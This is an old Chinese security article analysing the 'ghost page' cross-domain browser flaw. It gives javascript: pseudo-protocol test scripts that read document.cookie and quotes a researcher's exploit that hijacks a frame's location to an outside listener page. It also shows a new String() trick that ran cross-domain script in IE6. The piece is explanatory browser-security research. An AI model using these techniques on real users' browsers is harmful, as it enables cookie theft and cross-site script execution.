揭密鬼页 浅析浏览器跨域安全问题(2)

来源:IT 专家网 时间:2008-10-07 18:11:00 

3.域与域之间的牵绊

如果父页让子页访问某个域后,再执行伪协议会有什么效果?

用各个浏览器浏览 http://127.0.0.1/test3.htm,下面是test3.htm的脚本内容:


<script>    
    x=window.open('about:blank'); 
    x.location="http://www.163.com" 
    setTimeout(function(){ 
        x.location="javascript:alert(document.cookie)"; 
    },5000) 
    </script>

结果:

IE6:没有反应。

IE7:报错,拒绝访问。

Firefox:报错,alert没有定义。

这些信息明显的说明,如果子页和父页不在同一个域里,浏览器是不允许父页控制子页执行伪协议脚本的。

为了进一步验证,我们让子页打开同一个域里的页面测试:

用各个浏览器浏览 http://127.0.0.1/test4.htm,下面是test4.htm的脚本内容:


<script>  
    document.cookie='xss:true'  //给本域设置一个COOKIE为xss:true 
    x=window.open('about:blank'); 
    x.location="http://127.0.0.1" 
    setTimeout(function(){ 
        x.location="javascript:alert(document.cookie)"; 
    },5000) 
    </script>

结果IE6、IE7、Firefox都顺利的弹出了COOKIE值,说明如果子页和父页在同一个域里,浏览器是允许父页控制子页执行伪协议脚本的。

4.安全上的差异

父页和子页这种微妙的关系,到这里就开始引发安全问题了,安全研究人员在分析鬼页的时,给出了EXP:


javascript:x=open('http://hackademix.net/');setInterval(function(){try{x.frames[0].location={toString:function(){return 'http://www.sirdarckcat.net/caballero-listener.html';}}}catch(e){}},5000);void(1); 


  EXP按上面三部分的概念解释是:

父页是A域,父页指定子页访问B域内一个带框架的页面,父页就能够控制B域页面内框架的URL地址,这个就是典型的跨域操作了。

鬼页能够跨域操作框架的关键是window.frames[0]方法没有受到域的限制,第二个是让location指定的地址看起来像个对象而不是参数。

我们按照鬼页的思路,继续在第3部分的基础上测试下去,将location指定的地址使用new String()对象处理。

用各个浏览器浏览 http://127.0.0.1/test5.htm,下面是test5.htm的脚本内容:


<script>    
    x=window.open('about:blank'); 
    x.location="http://www.163.com"; 
    setTimeout(function(){ 
        x.location=new String("javascript:alert(document.cookie)") 
    },5000) 
    </script>

IE6:弹出COOKIE。

IE7:报错,拒绝访问。

Firefox:报错,alert没有定义。

结果是IE6奇迹般的弹出了COOKIE,我们做到了跨域执行脚本。

标签:安全,浏览器,javascript
0
投稿

猜你喜欢

  • DNS的结构和运作

    2010-01-28 19:18:00
  • Twitter攻击事件 俄罗斯疑是幕后黑手

    2009-12-08 13:37:00
  • 教你如何在ubuntu15.04安装 RVM

    2023-09-01 19:43:59
  • 谈谈现在黑客网站因该怎样发展

    2008-12-18 10:32:00
  • 解读Hishop网店系统货源代理分销模式

    2009-11-21 11:50:00
  • 限制 Apache日志文件大小的方法

    2023-10-17 19:51:31
  • 分析百度搜索引擎收录习惯

    2008-06-15 15:07:00
  • 预防ASP网站被黑 彻底了解ASP木马

    2007-12-21 13:08:00
  • linux下使用cmake编译安装mysql的详细教程

    2023-08-20 02:55:26
  • kali linux 系统版本的查看方法

    2023-03-25 13:03:55
  • 如何经营好网站是值得各位站长深思的问题

    2010-03-07 16:54:00
  • Linux系统中创建SSH服务器别名的两种方法

    2023-07-19 22:01:55
  • phpwindV6.3关于快速发帖时插入附件弹出空白提示框问题

    2009-02-20 15:41:00
  • Google超越Yahoo! 成为Alexa世界排名第一

    2009-02-04 17:10:00
  • 追忆:不做网站的网站--亿唐

    2007-10-10 12:34:00
  • 迎接奥运,你准备好了吗?

    2008-04-10 08:58:00
  • Apache实现多端口多主机名配置

    2022-08-20 20:22:59
  • Apache vs Lighttpd谁更好?

    2007-08-27 13:28:00
  • 轻轻松松学优化 (2) – 广告位置至关重要

    2008-11-17 14:33:00
  • 个人POP3和SMTP服务器的配置

    2007-03-27 09:46:00
  • asp之家 网站运营 m.aspxhome.com